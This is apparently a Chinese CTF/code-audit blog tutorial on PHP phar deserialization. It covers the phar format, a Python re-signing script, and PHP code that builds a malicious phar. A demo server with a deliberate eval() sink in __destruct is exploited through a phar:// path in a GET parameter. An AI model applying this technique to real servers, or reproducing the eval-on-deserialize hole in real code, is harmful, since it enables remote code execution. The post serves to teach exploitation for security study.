少女祈祷中...
秋月竹云的博客
代码审计CTF

PHP反序列化——phar反序列化

phar文件

PHAR 是 PHP Archive 的缩写,类似 PHP 里的压缩包/归档文件,它可以把多个 PHP 文件打包成一个文件。

一个 PHAR 文件里通常包含:

stub

Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

xxx<?php xxx; __HALT_COMPILER();?>

前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。

manifest

用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

contents

用于存放Phar文件的内容

signature

签名(可选参数),位于文件末尾,具体格式如下

签名尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

漏洞成因

Phar文件会以序列化的形式存储用户自定义的 meta-data ,PHP使用 phar_parse_metadata 在解析meta数据时,会调用 php_var_unserialize 进行反序列化操作。

利用条件

  • 能够上传或控制一个phar文件

  • 可以控制文件操作函数的参数,通过 phar:// 伪协议进行操作

  • 存在可利用的反序列化链

生成Phar文件

需要将php.ini文件中的phar.readonly配置项配置为Off

phar.readonly = Off;  #php版本要大于等于5.2

生成脚本

<?php
    class TestObject {
    }
    
    $o = new TestObject();
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

实战

服务端源码

<?php
class User {
    public $name = "Tom";
    public $age = 18;
    public $cmd;

    public function __destruct() {
        echo "Destruct\\n";
        eval($this->cmd);
    }
}

file_get_contents($_GET['phar']);
 

生成对应的phar文件

<?php
    class User {
    public $name = "Tom";
    public $age = 18;
    public $cmd;

}
    
    $o = new User();
    $o->cmd = "phpinfo();";

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

这里我们省去上传步骤,直接放在服务端的目录中,文件名为 phar.phar

访问

http://test/test.php?phar=phar://phar.phar

成功执行

评论